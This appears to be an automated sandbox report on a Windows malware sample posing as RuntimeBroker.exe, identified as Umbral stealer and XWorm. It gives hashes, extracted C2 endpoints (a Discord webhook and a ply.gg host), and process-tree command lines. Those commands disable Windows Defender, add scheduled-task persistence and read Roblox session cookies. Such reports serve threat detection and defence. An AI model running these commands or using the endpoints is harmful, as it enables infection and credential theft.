Analysis

  • max time kernel
    147s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22/09/2024, 10:36

General

  • Target

    RuntimeBroker.exe

  • Size

    346KB

  • MD5

    6a983258dfa7b270cc0938e4c453f66a

  • SHA1

    21cb0158a55a859552fbfe442b7e7ca04c3dd77f

  • SHA256

    2b80a0860ed3b8e262f242f251839d513808829fc3e209b93d2048c272ccc205

  • SHA512

    7273d35af4e4c590566c9d514a26a24aa71696a94aab0a0bfc30820d6a6e9918044cd0df11c20b9b983b3b30edcfecc76a6e9670bdbb8ab7a7ed48c9d405fef5

  • SSDEEP

    6144:q/cLTw+cOiFUk6Pv6U9yy/J6cIiPx166FpQoO/KzFHT809ii6VfNtvAeB9:q0LdcOiFhXKU6/3zFA09iD1tIeB9

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1287360783734411274/Muly1yjywcFg321yTLGVUf6Ilh44xbfhxhT17VnDw6_iOfAw6PaTOvV1EsNLG7xaTeEl

Extracted

Family

xworm

C2

expected-schema.gl.at.ply.gg:2980

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    USB.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3000
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2356
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1768
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1624
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\RuntimeBroker"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3040
    • C:\Users\Admin\AppData\Roaming\Umbrall.exe
      "C:\Users\Admin\AppData\Roaming\Umbrall.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2360
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbrall.exe"
        3⤵
        • Views/modifies file attributes
        PID:2060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbrall.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1148
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2016
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:796
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:1804
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:1500
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:940
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1912
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbrall.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2764
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2912
        • C:\Users\Admin\AppData\Roaming\SynsWave.exe
          "C:\Users\Admin\AppData\Roaming\SynsWave.exe"
          2⤵
          • Executes dropped EXE
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2788
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            3⤵
              PID:2948
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {A50F70B5-CCE3-4657-ACAC-359D61DCE46A} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]
          1⤵
            PID:580
            • C:\Users\Admin\RuntimeBroker
              C:\Users\Admin\RuntimeBroker
              2⤵
              • Executes dropped EXE
              PID:2224
            • C:\Users\Admin\RuntimeBroker
              C:\Users\Admin\RuntimeBroker
              2⤵
              • Executes dropped EXE
              PID:628

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\Cab73BB.tmp

            Filesize

            70KB

            MD5

            49aebf8cbd62d92ac215b2923fb1b9f5

            SHA1

            1723be06719828dda65ad804298d0431f6aff976

            SHA256

            b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

            SHA512

            bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

          • C:\Users\Admin\AppData\Local\Temp\Tar73DE.tmp

            Filesize

            181KB

            MD5

            4ea6026cf93ec6338144661bf1202cd1

            SHA1

            a1dec9044f750ad887935a01430bf49322fbdcb7

            SHA256

            8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

            SHA512

            6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            3be70e615aaf3c051cbd97726abb8df6

            SHA1

            fc22f462ee756df96417e6cf0e1dcb6bba39b01a

            SHA256

            dc4c3b437fa3d379822f861f6058e7d6379afd936c4c9221f5c1d244d5f488a9

            SHA512

            714fe3f10535f9f7adba3bb7ffa46fcfdcf0d4d9ada83a5501cf7edf2cca57ec5b2c2443540250ff7a65c7feaf6bfa0d2a1456a3a6214c0c4678b7f222c94f5f

          • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe

            Filesize

            80KB

            MD5

            5b8832e9845170717385ed9fb6dd6589

            SHA1

            b51bbc5d54e0e7c84a3488ca16643e8c88e452fa

            SHA256

            21ed3d77c21d3f856d7a0852f316abb104c90004e912fa330562435921a26d1d

            SHA512

            841f88b766c9aae7d6ac3f8c6e563da16a1266bb795c38060d465451c15b0052b13e58e26ad95325253d9196d30717418cbe3c75ad19eaad21a9bdf9f5289fa6

          • C:\Users\Admin\AppData\Roaming\Umbrall.exe

            Filesize

            230KB

            MD5

            0b1ca5b7db9b402d2a2d5f2ceffb6d03

            SHA1

            e29fc0c937e930ae463110e6954759bdad901063

            SHA256

            7e7441520b44960fdc5fc8ec1b43c27a460baf7d84874d91fc78f4f97fd85aab

            SHA512

            5106921b55ec7f907b79a5b5fcab8cd387f27005c1da9a64680e0c2bdb25b99a20bbe59132452176ad9dcee9d8c2d23a8326f786de6453ef47094723f3e9a8b3

          • \Users\Admin\AppData\Roaming\SynsWave.exe

            Filesize

            25KB

            MD5

            12e7359129744823438f3d6b97192955

            SHA1

            89872a5a18abefe25d10efa824281718cf85ae39

            SHA256

            348086f9bd5939a48efcc94702271c1caf92ea11f3b0385367daf9530b51cf3e

            SHA512

            b38516752817d3ac6541d300cc17176c5bf1c38d321fd19c006cb1f5cf9d5ab7a228184ed267636841225e718f71d9cd8aed5e53e36c7ee3548ed6958b9e8563

          • memory/1148-32-0x0000000002570000-0x0000000002578000-memory.dmp

            Filesize

            32KB

          • memory/1148-31-0x000000001B280000-0x000000001B562000-memory.dmp

            Filesize

            2.9MB

          • memory/1964-14-0x0000000001150000-0x000000000116A000-memory.dmp

            Filesize

            104KB

          • memory/1964-19-0x000007FEF5F10000-0x000007FEF68FC000-memory.dmp

            Filesize

            9.9MB

          • memory/1964-56-0x000007FEF5F10000-0x000007FEF68FC000-memory.dmp

            Filesize

            9.9MB

          • memory/2224-199-0x0000000001140000-0x000000000115A000-memory.dmp

            Filesize

            104KB

          • memory/2248-0-0x000007FEF5F13000-0x000007FEF5F14000-memory.dmp

            Filesize

            4KB

          • memory/2248-1-0x0000000000A90000-0x0000000000AEC000-memory.dmp

            Filesize

            368KB

          • memory/2268-25-0x0000000002420000-0x0000000002428000-memory.dmp

            Filesize

            32KB

          • memory/2268-24-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

            Filesize

            2.9MB

          • memory/2872-18-0x00000000000F0000-0x0000000000130000-memory.dmp

            Filesize

            256KB